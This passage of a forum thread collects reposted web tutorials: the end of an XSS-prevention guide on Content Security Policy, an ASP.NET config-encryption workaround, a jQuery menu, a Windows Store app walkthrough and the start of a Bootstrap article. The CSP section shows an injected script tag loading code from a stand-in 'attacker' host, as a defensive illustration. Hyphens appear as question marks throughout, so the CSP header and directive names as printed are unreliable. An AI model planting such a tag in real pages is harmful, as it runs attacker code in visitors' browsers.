using the javascript: protocol. While this cannot by itself provide full security, it is a useful precaution if at any point outbound encoding and validation is improperly performed due to mistakes or errors. If these two lines of defense are used consistently, your website will be protected from XSS attacks. However, due to the complexity of creating and maintaining an entire website, achieving full protection using only secure input handling can be difficult. As a third line of defense, you should also make use of Content Security Policy (CSP), which we will describe next. [h=3]Content Security Policy (CSP)[/h] The disadvantage of protecting against XSS by using only secure input handling is that even a single lapse of security can compromise your website. A recent web standard called Content Security Policy (CSP) can mitigate this risk. CSP is used to constrain the browser viewing your page so that it can only use resources downloaded from trusted sources. A resource is a script, a stylesheet, an image, or some other type of file referred to by the page. This means that even if an attacker succeeds in injecting malicious content into your website, CSP can prevent it from ever being executed. CSP can be used to enforce the following rules: No untrusted sourcesExternal resources can only be loaded from a set of clearly defined trusted sources. No inline resourcesInline JavaScript and CSS will not be evaluated. No evalThe JavaScript eval function cannot be used. [h=4]CSP in action[/h] In the following example, an attacker has succeeded in injecting malicious code into a page: <html> Latest comment: <script src="http://attacker/malicious?script.js"></script> </html> With a properly defined CSP policy, the browser would not load and execute malicious?script.js because http://attacker/ would not be in the set of trusted sources. Even though the website failed to securely handle user input in this case, the CSP policy prevented the vulnerability from causing any harm. Even if the attacker had injected the script code inline rather than linking to an external file, a properly defined CSP policy disallowing inline JavaScript would also have prevented the vulnerability from causing any harm. [h=4]How to enable CSP[/h] By default, browsers do not enforce CSP. To enable CSP on your website, pages must be served with an additional HTTP header: Content?Security?Policy. Any page served with this header will have its security policy respected by the browser loading it, providing that the browser supports CSP. Since the security policy is sent with every HTTP response, it is possible for a server to set its policy on a page-by-page basis. The same policy can be applied to an entire website by providing the same CSP header in every response. The value of the Content?Security?Policy header is a string defining one or more security policies that will take effect on your website. The syntax of this string will be described next. The example headers in this section use newlines and indentation for clarity; this should not be present in an actual header. [h=4]Syntax of CSP[/h] The syntax of a CSP header is as follows: Content?Security?Policy: directive source?expression, source?expression, ...; directive ...; ... This syntax is made up of two elements: Directives are strings specifying a type of resource, taken from a predefined list. Source expressions are patterns describing one or more servers that resources can be downloaded from. For every directive, the given source expressions define which sources can be used to download resources of the respective type. [h=5]Directives[/h] The directives that can be used in a CSP header are as follows: connect?src font?src frame?src img?src media?src object?src script?src style?src In addition to these, the special directive default?src can be used to provide a default value for all directives that have not been included in the header. [h=5]Source expressions[/h] The syntax of a source expression is as follows: protocol://host?name:port?number The host name can start with *., which means that any subdomain of the provided host name will be allowed. Similarly, the port number can be *, which means that all ports will be allowed. Additionally, the protocol and port number can be omitted. Finally, a protocol can be given by itself, which makes it possible to require that all resources be loaded using HTTPS. In addition to the syntax above, a source expression can alternatively be one of four keywords with special meaning (quotes included): 'none'Allows no resources. 'self'Allows resources from the host that served the page. 'unsafe?inline'Allows resources embedded in the page, such as inline <script> elements, <style> elements, and javascript: URLs. 'unsafe?eval'Allows the use of the JavaScript eval function. Note that whenever CSP is used, inline resources and eval are automatically disallowed by default. Using 'unsafe?inline' and 'unsafe?eval' is the only way to allow them. [h=4]An example policy[/h] Content?Security?Policy: script?src 'self' scripts.example.com; media?src 'none'; img?src *; default?src 'self' http://*.example.com In this example policy, the page is subject to the following restrictions: Scripts can be downloaded only from the host serving the page and from scripts.example.com. Audio and video files cannot be downloaded from anywhere. Image files can be downloaded from any host. All other resources can be downloaded only from the host serving the page and from any subdomain of example.com. [h=4]Status of CSP[/h] As of June 2013, Content Security Policy is a W3C candidate recommendation. It is being implemented by browser vendors, but parts of it are still browser-specific. In particular, the HTTP header to use can differ between browsers. Before using CSP today, consult the documentation of the browsers that you intend to support. [h=2]Summary[/h] [h=3]Summary: Overview of XSS[/h] XSS is a code injection attack made possible through insecure handling of user input. A successful XSS attack allows an attacker to execute malicious JavaScript in a victim's browser. A successful XSS attack compromises the security of both the website and its users. [h=3]Summary: XSS Attacks[/h] There are three major types of XSS attacks: Persistent XSS, where the malicious input originates from the website's database. Reflected XSS, where the malicious input originates from the victim's request. DOM-based XSS, where the vulnerability is in the client-side code rather than the server-side code. [*] All of these attacks are performed in different ways but have the same effect if they succeed. [h=3]Summary: Preventing XSS[/h] The most important way of preventing XSS attacks is to perform secure input handling. Most of the time, encoding should be performed whenever user input is included in a page. In some cases, encoding has to be replaced by or complemented with validation. Secure input handling has to take into account which context of a page the user input is inserted into. To prevent all types of XSS attacks, secure input handling has to be performed in both client-side and server-side code. [*] Content Security Policy provides an additional layer of defense for when secure input handling fails. [h=2]Appendix[/h] [h=3]Terminology[/h] It should be noted that there is overlap in the terminology currently used to describe XSS: a DOM-based XSS attack is also either persistent or reflected at the same time; it's not a separate type of attack. There is no widely accepted terminology that covers all types of XSS without overlap. Regardless of the terminology used to describe XSS, however, the most important thing to identify about any given attack is where the malicious input comes from and where the vulnerability is located. Source
  14. Recently I wrote a piece of software that needed some configurable secrets — and they needed to be VERY secret. Consequently, I had to encrypt a custom configuration section. Unfortunately, I quickly ran into trouble and got an error message along the lines of: Encrypting configuration section... An error occurred creating the configuration section handler for myConfigSection: Could not load file or assembly 'MyAssembly, Version=2.0.0.0, Culture=neutral' or one of its dependencies. The system cannot find the file specified. ... Failed! Disheartening, eh? I looked to the Internet and the advice seemed to be to copy the "missing" assembly to the .NET framework folder. I strongly suggest you don't do that, messing around in the framework's folder is not recommended. That folder belongs to Microsoft. Fortunately I found a much easier workaround. I'll give an example where I encrypt the configuration section for the NWebsec security library, in the DemoSiteWebForms project that's part of the project's solution. The screenshot shows the error you get when trying to encrypt the nwebsec/httpHeaderSecurityModule section. Now for the workaround. The configuration section is declared at the very top of the config file. Simply comment out the section declaration and you're good to go. <configSections> <sectionGroup name="nwebsec"> <!-- For information on how to configure NWebsec please visit: http://nwebsec.codeplex.com/wikipage?title=Configuration --> <!-- section name="httpHeaderSecurityModule" type="NWebsec.Modules.Configuration.HttpHeaderSecurityConfigurationSection, NWebsec, Version=2.0.0.0, Culture=neutral"/ --> </sectionGroup> </configSections> Success! Remember to uncomment the section declaration afterwards and your web.config should be all set. You'll also need to comment out the configuration section declaration if you want to decrypt the configuration section. You can have a look at Encrypting Configuration Information Using Protected Configuration to learn more about how configuration encryption works. It's well documented, except for this quirk. Source: How to encrypt a custom configuration section in ASP.NET
  15. Google have recently released a new Google Play website complete with a new redesign and what caught my attention was the way they implemented their navigation bar. With the smooth animation and how they let users peek at the root-level menu by simply hovering a back button, I decided to build a similar navigation menu from scratch using HTML, CSS and jQuery. In this demo, I decided to use an awesome icon webfont called Elusive Icons created by a Github user, aristath in place of Google’s own icons, so make sure you’ve included this webfont and a jQuery library before you begin. Demo - Download HTML <nav class="navigation"> <a href="#" class="active home"> <span class="icon"><i class="icon-home"></i></span> <span class="content">Home</span> </a> <a href="#app_nav" class="green"> <span class="icon"><i class="icon-website"></i></span> <span class="content">Apps</span> </a> <div class="hide second_level" id="app_nav"> <a href="#" class="back"> <i class="icon-chevron-left"></i> </a> <div class="content"> <a href="http://www.google.com"> <span class="content">Popular Apps</span> </a> …. </div> </div> …. </nav> The HTML part is pretty straightforward. I have a default selected link called “Home” which we will use to return to the root-level of the menu. This link will not trigger anything if the user is already on the root-level of the navigation, that’s why I had the href attribute as “#”. This link is needed for the user to navigate back so do not remove/change this. The second link and the rest that follow are links that will take the user to the second-level of the menu. The div tag adjacent to the link is a hidden second-level menu that will appear only if the user clicks the second link. Inside this hidden div, you may notice an empty link called “back”. We will use this to allow users to peek at the root-level and let them switch to other parts with only one click. You can continue to add this set of snippets as long as the structure is the same and that the href points correctly to the id of the hidden div as seen above. CSS Since most of the control and animation is being handled on the JS side, the CSS parts are open for you to customize and experiment in anyway you want. JS $(window).load(function () { $(".navigation > a").click(function() { if (!$(this).hasClass("active")) { $(".navigation").unbind('mouseleave'); $(".navigation .second_level").hide(); var el = $(this); el.addClass("hover"); $(".navigation > a.active").fadeOut("fast", function() { var prev = $(this) prev.removeClass('active'); container_pos = $(".navigation").offset() button_pos = el.offset() el.animate({ top: container_pos.top - button_pos.top }, 500, function() { el.addClass("active").removeClass("hover").css("top", 0); if (el.attr("href").length > 1 && el.attr("href") != "#") { $(".navigation > a:not(.active)").hide(); $(el.attr("href")).slideDown("slow"); } else { prev.fadeIn("fast"); } }); }); } }); $(".navigation .back").hover( function () { var el = $(this) $(".navigation .second_level").hide(); $(".navigation > a").show(); $(".navigation").hover(function() {}, function() { $(this).unbind('mouseleave'); $(".navigation > a:visible:not(.active)").hide(); el.closest(".second_level").show(); }); }); }); The JS part is a little difficult to understand. Basically what I did was I assigned all links with a click function that, once clicked, will move the link to the top, hide the root-level menu, and slide down the second-level menu. The second part of the JS is used to assign all the back buttons inside the second-level menu. Once the back button is hovered, the root-level menu should temporarily appear over the displayed second-level menu and when the mouse is no longer hovering, the root-level menu should disappear leaving the second-level menu useable again. Although this may look easy, it was a little more complex than that. I needed to determine how each link should perform separately because we need to have a “Home” button for the user to go back to. I decided to add a condition to detect if the clicked link is from a “Home” button or not by simply checking the href attribute. If the href is equal to “#”, then perform the back procedure, if not then perform as usual. With the snippet above we can integrate Animate.css into our JS by simply using the code below instead and change the animation as instructed below: In the code below you will see 2 sets of animation, <<first-level-animation>> and <<second-level-animation>>. The first one is to animate the first level menu when the user hover the back button. The second one is to animate when the user clicked the first-level menu and the second-level menu appear. You can try and play around with it by using values listed here and replace the sets with those values. For example, to have a bounceIn effect on all, change all occurrences of <<first-level-animation>> and <<second-level-animation>> in the code below to bounceIn etc. Source: Onextrapixel
  16. One of the advantages for developing Windows Store apps is that you can utilize your existing knowledge of HTML, CSS and Javascript. This tutorial teaches you how to create a simple “Hello, world” Windows Store app built for Windows using JavaScript. In this tutorial, you learn how to: Create a new project Add HTML content to your start page Handle touch, pen, and mouse input Switch between the light and dark style sheets Create your own custom styles Use a Windows Library for JavaScript control We show you how to create a Windows Store app using HTML, JavaScript, and CSS. Note that you can also create Windows Store apps using other technologies. To write a Windows Store app using C# and Visual Basic, or C++ and XAML. For graphics-intensive apps, you can use DirectX and C++. Getting Started To complete this tutorial, you need Windows 8 and Microsoft Visual Studio Express 2012 for Windows 8. To download them, see Get the tools. You also need a developer license. For instructions, see Get a developer license. Step 1: Create a new project in Visual Studio Let’s create a new app named HelloWorld. Here’s how: 1. Launch Visual Studio Express 2012 for Windows 8. The Visual Studio Express 2012 for Windows 8 start screen appears. 2. From the File menu select New Project. The New Project dialog appears. The left pane of the dialog lets you pick the type of templates to display. 3. In the left pane, expand Installed, then expand Templates, then expand JavaScript and select the Windows Store template type. The dialog’s center pane displays a list of project templates for JavaScript. For this tutorial, we use the Blank App template. This template creates a minimal Windows Store app that compiles and runs, but contains no user interface controls or data. We’ll add controls and data to the app over the course of these tutorials. 4. In the center pane, select the Blank App template. 5. In the Name text box, enter “HelloWorld”. 6. Uncheck the Create directory for solution checkbox. 7. Click OK to create the project. Visual Studio creates your project and displays it in the Solution Explorer. Although the Blank App is a minimal template, it still contains a handful of files: * A manifest file (package.appxmanifest) that describes your app (its name, description, tile, start page, splash screen, and so on) and lists the files that your app contains. A set of large and small logo images (logo.png and smalllogo.png)to display in the start screen. An image (storelogo.png) to represent your app in the Windows Store. A splash screen (splashscreen.png) to show when your app starts. CSS and code files for the Windows Library for JavaScript (inside the References folder). A start page (default.html) and an accompanying JavaScript file (default.js) that run when your app starts. These files are essential to all Windows Store apps using JavaScript. Any project that you create in Visual Studio contains them. Step 2: Launch the app At this point, we created a very simple app. If you want to see what it looks like, press F5 to build, deploy, and start your app. A default splash screen appears first. The splash screen is defined by an image (splashscreen.png) and a background color (specified in our app’s manifest file). We don’t cover it here, but it’s easy to customize your splash screen. (To find out how, see Adding a splash screen.) The splash screen disappears, and then our app appears. It contains a black screen with the text “Content goes here”. There is no button or command to close the app. To close the app, slide from the top edge toward the bottom edge of the screen or press Alt-F4. Go to the Start screen; notice that deploying the app adds its tile to the last group on the Start screen. To run the app again, tap or click its tile on the start screen or press F5 in Visual Studio to run the app in the debugger. It doesn’t do much—yet—but congratulations, you’ve built your first Windows Store app! Step 3: Modify your start page One of the files that Visual Studio created for us is default.html, our app’s start page. When the app runs, it displays the content of its start page. The start page also contains references to the app’s code files and style sheets. Here’s the start page that Visual Studio created for us: <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>HelloWorld</title> <!-- WinJS references --> <link href="//Microsoft.WinJS.1.0/css/ui-dark.css" rel="stylesheet" /> <script src="//Microsoft.WinJS.1.0/js/base.js"></script> <script src="//Microsoft.WinJS.1.0/js/ui.js"></script> <!-- HelloWorld references --> <link href="/css/default.css" rel="stylesheet" /> <script src="/js/default.js"></script> </head> <body> <p>Content goes here</p> </body> </html> Let’s add some new content to your default.html file. Just as you would add content to any other HTML file, you add your content inside the body element. You can use HTML5 elements to create your app (with a few exceptions). That means you can use HTML5 elements like h1, p, button, div, and img. To modify our start page 1. Replace the existing content in the body element with a first-level heading that says “Hello, world!”, some text that asks the user’s name, an input element to accept the user’s name, a button, and a div element. Assign IDs to the input, the button, and the div . <body> <h1>Hello, world!</h1> <p>What's your name?</p> <input id="nameInput" type="text" /> <button id="helloButton">Say "Hello"</button> <div id="greetingOutput"></div> </body> 2. Run the app. Right now, clicking the button doesn’t do anything. In the next steps, we create an event handler for the button that displays a personalized greeting. We add our event handler code to our default.js file. Step 4: Create an event handler When we created our new project, Visual Studio created a /js/default.js file for us. This file contains code for handling your app’s lifecycle, a concept that we explain in Part 2: Manage app lifecycle and state. It’s also where you write additional code that provides interactivity for your default.html file. Open the default.js file. Before we start adding our own code, let’s take a look at the first and last few lines of code in the file: (function () { "use strict"; // Omitted code })(); You might be wondering what’s going on here. These lines of code wrap the rest of the default.js code in a self-executing anonymous function. Now that you know what it does, you’re probably wondering why we wrap our code in a self-executing anonymous function. It’s because this makes it easier to avoid naming conflicts or situations where you accidently modify a value that you didn’t intend to. It also keeps unnecessary identifiers out of the global namespace, which helps performance. It looks a little strange, but it’s a good programming practice. The next line of code turns on strict mode for your JavaScript code. Strict mode provides additional error checking for your code. For example, it prevents you from using implicitly declared variables or assigning a value to a read-only property. Take a look at the rest of the code in default.js. It handles your app’s activated and checkpoint events. We go into more detail about these events later. For now, just know that the activated event fires when your app starts. Let’s define an event handler for your button. Our new event handler gets the user’s name from the nameInput input control and uses it to output a greeting to the greetingOutput div element that you created in the last section. Using events that work for touch, mouse, and pen input With Windows 8, you don’t need to worry about the differences between touch, mouse, and other forms of pointer input. You can just use events that you know, like click, and they work for all forms of input. Tip Your app can also use the new MSPointer* and MSGesture* events, which work for touch, mouse, and pen input and can provide additional info about the device that triggered the event. For more info, see Responding to user interaction and Gestures, manipulations, and interactions. Let’s go ahead and create the event handler. To create the event handler 1. In default.js, after the app.oncheckpoint event handler and before the call to app.start, create a click event handler function named buttonClickHandler that takes a single parameter named eventInfo. 2. Inside our event handler, retrieve the user’s name from the nameInput input control and use it to create a greeting. Use the greetingOutput div to display the result. function buttonClickHandler(eventInfo) { var userName = document.getElementById("nameInput").value; var greetingString = "Hello, " + userName + "!"; document.getElementById("greetingOutput").innerText = greetingString; } We added our event handler to default.js. Now we need to register it. Step 5: Register the event handler when our app launches The only thing we need to do now is register the event handler with the button. The recommended way to register an event handler is to call addEventListener from our code. A good place to register the event handler is when our app is activated. Fortunately, Visual Studio generated some code for us in our default.js file that handles our app’s activation: the app.onactivated event handler. Let’s take a look at this code. WinJS.Binding.optimizeBindingReferences = true; var app = WinJS.Application; var activation = Windows.ApplicationModel.Activation; app.onactivated = function (args) { if (args.detail.kind === activation.ActivationKind.launch) { if (args.detail.previousExecutionState !== activation.ApplicationExecutionState.terminated) { // TODO: This application has been newly launched. Initialize // your application here. } else { // TODO: This application has been reactivated from suspension. // Restore application state here. } args.setPromise(WinJS.UI.processAll()); } }; Inside the onactivated handler, the code checks to see what type of activation occurred. There are many different types of activations. For example, your app is activated when the user launches your app and when the user wants to open a file that is associated with your app. (For more info, see Application lifecycle.) We’re interested in the launch activation. An app is launched whenever it is not running and then a user activates it. If the activation is a launch activation, the code checks to see how the app was shut down the last time in ran. Then it calls WinJS.UI.processAll. app.onactivated = function (args) { if (args.detail.kind === activation.ActivationKind.launch) { if (args.detail.previousExecutionState !== activation.ApplicationExecutionState.terminated) { // TODO: This application has been newly launched. Initialize // your application here. } else { // TODO: This application has been reactivated from suspension. // Restore application state here. } args.setPromise(WinJS.UI.processAll()); } }; It calls WinJS.UI.processAll regardless of whether the app had been shut down in the past or whether this is the very first time it’s being launched. The WinJS.UI.processAll is enclosed in a call to the setPromise method, which makes sure the splash screen isn’t taken down until the app’s page is ready. Tip The WinJS.UI.processAll function scans your default.html file for Windows Library for JavaScript controls and initializes them. So far, we haven’t added any of these controls, but it’s a good idea to leave this code in case you want to add them later. To learn more about Windows Library for JavaScript controls, see Quickstart: Adding WinJS controls and styles. A good place to register event handlers for non-Windows Library for JavaScript controls is just after the call to WinJS.UI.processAll. To register your event handler In the onactivated event handler in default.js, retrieve helloButton and use addEventListener to register our event handler for the click event. Add this code after the call to WinJS.UI.processAll. app.onactivated = function (args) { if (args.detail.kind === activation.ActivationKind.launch) { if (args.detail.previousExecutionState !== activation.ApplicationExecutionState.terminated) { // TODO: This application has been newly launched. Initialize // your application here. } else { // TODO: This application has been reactivated from suspension. // Restore application state here. } args.setPromise(WinJS.UI.processAll()); // Retrieve the button and register our event handler. var helloButton = document.getElementById("helloButton"); helloButton.addEventListener("click", buttonClickHandler, false); } }; Here’s the complete code for our updated default.js file: // For an introduction to the Blank template, see the following documentation: // JavaScript project templates for Windows Store apps (Windows) (function () { "use strict"; WinJS.Binding.optimizeBindingReferences = true; var app = WinJS.Application; var activation = Windows.ApplicationModel.Activation; app.onactivated = function (args) { if (args.detail.kind === activation.ActivationKind.launch) { if (args.detail.previousExecutionState !== activation.ApplicationExecutionState.terminated) { // TODO: This application has been newly launched. Initialize // your application here. } else { // TODO: This application has been reactivated from suspension. // Restore application state here. } args.setPromise(WinJS.UI.processAll()); // Retrieve the button and register our event handler. var helloButton = document.getElementById("helloButton"); helloButton.addEventListener("click", buttonClickHandler, false); } }; app.oncheckpoint = function (args) { // TODO: This application is about to be suspended. Save any state // that needs to persist across suspensions here. You might use the // WinJS.Application.sessionState object, which is automatically // saved and restored across suspension. If you need to complete an // asynchronous operation before your application is suspended, call // args.setPromise(). }; function buttonClickHandler(eventInfo) { var userName = document.getElementById("nameInput").value; var greetingString = "Hello, " + userName + "!"; document.getElementById("greetingOutput").innerText = greetingString; } app.start(); })(); Run the app. When you enter your name in the text box and click the button, the app displays a personalized greeting. Note If you’re curious as to why we use addEventListener to register our event in code rather than setting the onclick event in our HTML, see Coding basic apps for a detailed explanation. Step 6: Style our start page It’s easy to customize the look and feel of your app. Windows Store apps let you use Cascading Style Sheets, Level 3 (CSS3), much like you would for a website. The default.html that Visual Studio created for us contains a reference to the Windows Library for JavaScript style sheet: <!-- WinJS references --> <link href="//Microsoft.WinJS.1.0/css/ui-dark.css" rel="stylesheet" /> What does this style sheet do? Quite a bit! It provides these benefits: A set of styles that automatically give our app the Windows 8 look and feel. Just including the style sheet will make our controls look great and they’ll work with touch-based displays, too. Automatic support for high-contrast modes. These styles were designed with high-contrast in mind, so when our app runs on a device in high-contrast mode, it displays properly. Automatic support for other languages. The Windows Library for JavaScript style sheets automatically select the correct font for every language that Windows 8 supports. You can even use multiple languages in the same app and they are displayed properly. Automatic support for other reading orders. It automatically adjusts HTML and Windows Library for JavaScript controls, layouts, and styles for languages that read from right to left. By default, each HTML page in your project contains a reference to the dark style sheet. The Windows Library for JavaScript also provides a light style sheet. Let’s try it out and see what it looks like. To switch to the light style sheet 1. In your default.html file, replace the reference to the dark style sheet: <!-- WinJS references --> <link href="//Microsoft.WinJS.1.0/css/ui-dark.css" rel="stylesheet" /> With this one: <!-- WinJS references --> <link href="//Microsoft.WinJS.1.0/css/ui-light.css" rel="stylesheet" /> 2. Run your app. It now uses the light style sheet. Which style sheet should you use? Whichever one you want. For apps that mostly display images or video, we recommend using the dark style sheet, and for apps that contain a lot of text, we recommend using the light style sheet. (If you’re using a custom color scheme, use the style sheet that goes best with your app’s look and feel.) Creating your own styles If you want to customize the look and feel from your app, you don’t have to throw out the Windows Library for JavaScript styles and start over from scratch. It’s easy to make incremental changes by overriding the styles you want to change. In fact, it’s better to override the Windows Library for JavaScript styles rather than creating your own. When your app runs in high-contrast mode, any changes to the colors in the default styles are automatically overridden by a color scheme that supports high-contrast. You can override any style in the default style sheet by creating your own style sheet and including it after the Windows Library for JavaScript style sheet. The Blank App template does this for you. It creates a style sheet named default.css that you can use to create your own styles. <!-- WinJS references --> <link href="//Microsoft.WinJS.1.0/css/ui-light.css" rel="stylesheet" /> <script src="//Microsoft.WinJS.1.0/js/base.js"></script> <script src="//Microsoft.WinJS.1.0/js/ui.js"></script> <!-- HelloWorld references --> <link href="/css/default.css" rel="stylesheet" /> <script src="/js/default.js"></script> Let’s create some of our own styles. 1. First, lets add some div elements and classes to our HTML to make it easier to style. 1. In Visual Studio, open the default.html file. 2. Set your page header’s class attribute to “headerClass”. Create a div element and use it to contain your page’s main content. Give it a class setting of “mainContent”. <body> <h1 class="headerClass">Hello, world!</h1> <div class="mainContent"> <p>What's your name?</p> <input id="nameInput" type="text" /> <button id="helloButton">Say "Hello"</button> <div id="greetingOutput"></div> </div> </body> 2. Now lets define our styles. Open the default.css file. Let’s take a look at the file that Visual Studio generated for us: body { } @media screen and (-ms-view-state: fullscreen-landscape) { } @media screen and (-ms-view-state: filled) { } @media screen and (-ms-view-state: snapped) { } @media screen and (-ms-view-state: fullscreen-portrait) { } The generated file contains a few stubs for defining styles for different views. We’ll ignore these stubs for now (but we play with them in a later tutorial). 3. According to Layout out an app page, the heading has a top margin of 45 pixels and a left margin of 120 pixels. The content area also has a left margin of 120 pixels, a top margin of 31 pixels, and a bottom margin of 50 pixels. Define the headerClass and mainContent classes and set their margins to follow these guidelines. Also, create a style for the greetingOutput div that sets its height to 20 pixels and its bottom margin to 40 pixels. body { } .headerClass { margin-top: 45px; margin-left: 120px; } .mainContent { margin-top: 31px; margin-left: 120px; margin-bottom: 50px; } #greetingOutput { height: 20px; margin-bottom: 40px; } @media screen and (-ms-view-state: fullscreen-landscape) { } @media screen and (-ms-view-state: filled) { } @media screen and (-ms-view-state: snapped) { } @media screen and (-ms-view-state: fullscreen-portrait) { } Windows Store apps support CSS3, so there’s a lot you can do to customize your app. (For more info about styling your app, see Quickstart: Styling controls.) Step 7: Add a Windows Library for JavaScript control In addition to standard HTML controls, your Windows Store apps using JavaScript can use any of the new controls in the Windows Library for JavaScript, such as the WinJS.UI.DatePicker, WinJS.UI.FlipView, WinjS.UI.ListView, and WinJS.UI.Rating controls. Unlike HTML controls, Windows Library for JavaScript controls don’t have dedicated markup elements: you can’t create a Rating control by adding a element, for example. To add a Windows Library for JavaScript control, you create a div element and use the data-win-control attribute to specify the type of control you want. To add a Rating control, you set the attribute to “WinJS.UI.Rating”. Let’s add a Rating control to our app. 1. In your default.html file, add a label and a Rating control after the greetingOutput div. <body> <h1 class="headerClass">Hello, world!</h1> <div class="mainContent"> <p>What's your name?</p> <input id="nameInput" type="text" /> <button id="helloButton">Say "Hello"</button> <div id="greetingOutput"></div> <label for="ratingControlDiv"> Rate this greeting: </label> <div id="ratingControlDiv" data-win-control="WinJS.UI.Rating"> </div> </div> </body> For the Rating to load, your page must call WinJS.UI.processAll. Because our app is using one of the Visual Studio templates, our default.js already includes a call to WinJS.UI.processAll, as described earlier in Step 5, so you don’t have to add any code. 2. Run the app. Notice the new Rating control. Right now, clicking the Rating control changes the rating, but it doesn’t do anything else. Let’s use an event handler to do something when the user changes the rating. Step 8: Register an event handler for a Windows Library for JavaScript control Registering an event handler for a Windows Library for JavaScript control is a little different than registering an event handler for a standard HTML control. Earlier, we mentioned that the onactivated event handler calls WinJS.UI.processAll method to initialize Windows Library for JavaScript in your markup. The WinJS.UI.processAll is enclosed in a call to the setPromise method. args.setPromise(WinJS.UI.processAll()); If Rating were a standard HTML control, you could add your event handler after this call to WinJS.UI.processAll. But it’s a little more complicated for a Windows Library for JavaScript control like our Rating. Because WinJS.UI.processAll creates the Rating control for us, we can’t add the event handler to Rating until after WinJS.UI.processAll has finished its processing. If WinJS.UI.processAll were a typical method, we could register the Rating event handler right after we call it. But the WinJS.UI.processAll method is asynchronous, so any code that follows it might run before WinJS.UI.processAll completes. So, what do we do? We use a Promise object to receive notification when WinJS.UI.processAll completes. Like all asynchronous Windows Library for JavaScript methods, WinJS.UI.processAll returns a Promise object. A Promise is a “promise” that something will happen in the future; when that thing happens, the Promise is said to have completed. Promise objects have a then method that takes a “completed” function as a parameter. The Promise calls this function when it completes. By adding your code to a “completed” function and passing it to the Promise object’s then method, you can be sure your code executes after WinJS.UI.processAll is complete. 1. Let’s output the rating value when the user selects a rating. In your default.html file, create a div element to display the rating value and give it the id “ratingOutput”. <body> <h1 class="headerClass">Hello, world!</h1> <div class="mainContent"> <p>What's your name?</p> <input id="nameInput" type="text" /> <button id="helloButton">Say "Hello"</button> <div id="greetingOutput"></div> <label for="ratingControlDiv"> Rate this greeting: </label> <div id="ratingControlDiv" data-win-control="WinJS.UI.Rating"> </div> <div id="ratingOutput"></div> </div> </body> 2. In our default.js file, create an event handler for the Rating control’s change event named ratingChanged. The eventInfo parameter contains a detail.tentativeRating property that provides the new user rating. Retrieve this value and display it in the output div. function ratingChanged(eventInfo) { var ratingOutput = document.getElementById("ratingOutput"); ratingOutput.innerText = eventInfo.detail.tentativeRating; } 3. Update the code in our onactivated event handler that calls WinJS.UI.processAll by adding a call to the then method and passing it a completed function. In the completed function, retrieve the ratingControlDiv element that hosts the Rating control. Then use the winControl property to retrieve the actual Rating control. (This example defines the completed function inline.) args.setPromise(WinJS.UI.processAll().then(function completed() { // Retrieve the div that hosts the Rating control. var ratingControlDiv = document.getElementById("ratingControlDiv"); // Retrieve the actual Rating control. var ratingControl = ratingControlDiv.winControl; // Register the event handler. ratingControl.addEventListener("change", ratingChanged, false); })); 4. While it’s fine to register event handlers for HTML controls after the call to WinJS.UI.processAll, it’s also OK to register them inside your completed function. For simplicity, let’s go ahead and move all our event handler registrations inside the then event handler. Here’s our updated onactivated event handler: app.onactivated = function (args) { if (args.detail.kind === activation.ActivationKind.launch) { if (args.detail.previousExecutionState !== activation.ApplicationExecutionState.terminated) { // TODO: This application has been newly launched. Initialize // your application here. } else { // TODO: This application has been reactivated from suspension. // Restore application state here. } args.setPromise(WinJS.UI.processAll().then(function completed() { // Retrieve the div that hosts the Rating control. var ratingControlDiv = document.getElementById("ratingControlDiv"); // Retrieve the actual Rating control. var ratingControl = ratingControlDiv.winControl; // Register the event handler. ratingControl.addEventListener("change", ratingChanged, false); // Retrieve the button and register our event handler. var helloButton = document.getElementById("helloButton"); helloButton.addEventListener("click", buttonClickHandler, false); })); } }; 5. Run the app. When you select a rating value, it outputs the numeric value below the Rating control. Note This section and the last one just touched on what you need to know to start using Windows Library for JavaScript control. To learn more and to see a list of controls, see Quickstart: Adding WinJS controls and styles. Summary We’ve just seen how to add content to a Windows Store app, as well as how to add interactivity and how to style the app. This tutorial is brought to you by the team at MSDN. To learn more about coding for Windows Store apps, please visit Windows Store App development – Windows Dev Center See the complete code Did you get stuck, or do you want to check your work? If so, see complete code. How to Create a Windows Store app using HTML and JS | Web Resources | WebAppers
  17. "Welcome to the responsive web!" In the last year or so this term has been thrown around everywhere, so often that even a lot of my clients are asking for a responsive design from the get go. This, to me, is really interesting because they never asked for a mobile or tablet version back in the day. One would argue that mobile wasn't so mainstream and everybody was trying to imitate the IOS interface on the web, and I agree, it was bad, but that's not the only reason why clients are asking for responsive!? Somehow they think we turn responsive design on or off as we please and that it's just normal to have, so the price should stay the same. Well, it's not that easy. How to use Twitter Bootstrap to Create a Responsive Website Design Responsive web design is an approach, I often call it a mindset, because you have to change the way you think when you're going responsive. The basic idea behind it is: one design to rule them all - no m.domain.com, no touch.domain.com, no 3 separate CSS files, no 7 PSD files for each device or each orientation - just “domain.com” looking the same on desktop, tablet and phone. The idea of responsive design relies on CSS3 media queries that target specific screen resolutions and sizes. Now media queries have been around for a while, but we used them to target print styles, mostly. With CSS3 they kind of evolved and became actually useful. Fun fact: today you can even write a media query for devices that weigh let's say 3KG. Crazy, right? Two things are sure if you’ll start creating responsive designs: More work - mostly more CSS code and often some JS but also lots of thinking and planning about the UI itself, how it scales, how users interact with it and so on. A whole lot of testing - this is the biggest downside. The only true way of testing responsive design is by actually using it on the devices themselves and you can imagine writing 5 lines of CSS then grabbing the iPad, loading the web, turning it landscape, oops it doesn't look so hot when in landscape, so back to code again...ugh and you get the point. Here comes the good part, there is an almost magical way to start creating responsive designs and it’s name is Twitter Bootstrap. Twitter Bootstrap - Your New BFF Twitter Bootstrap was created by two guys at Twitter who wanted to speed up and bootstrap their workload and code. If you visit the home page of Twitter Bootstrap they define it as: “sleek, intuitive, and powerful front-end framework for faster and easier web development.” and they are not lying to you! I’m usually not big on frameworks and like to code as much as possible myself for various reason so trust me on this one when I say it’s worth every minute you will spend learning it and that’s not going to be long. Twitter Bootstrap offers you a lot of amazing stuff out of the box: Global styles for the body to reset type and background, link styles, grid system, and two simple layouts. Styles for common HTML elements like typography, code, tables, forms, and buttons, and a great little icon set. Basic styles for common interface components like tabs and pills, navbar, alerts, page headers, and more. Javascript plugins for things like tooltips, popovers, modals, and more. But the most important part it's really easy to learn and use, plus it has a very good documentation and all the examples a developer could dream of. So let’s dig into it. Getting started with Bootstrap The first thing you want to do is visit the Bootstrap download page (it might be a good time to bookmark that URL as well). You can find the docs for everything there, including some basic guides and tutorials, so I won’t waste my time explaining that. This is important, you can download the framework from their homepage or you can download a customized version which I prefer more because you get to choose and select what you need or want. The best thing about this version is that it comes with just one CSS file with all the responsive media queries you need 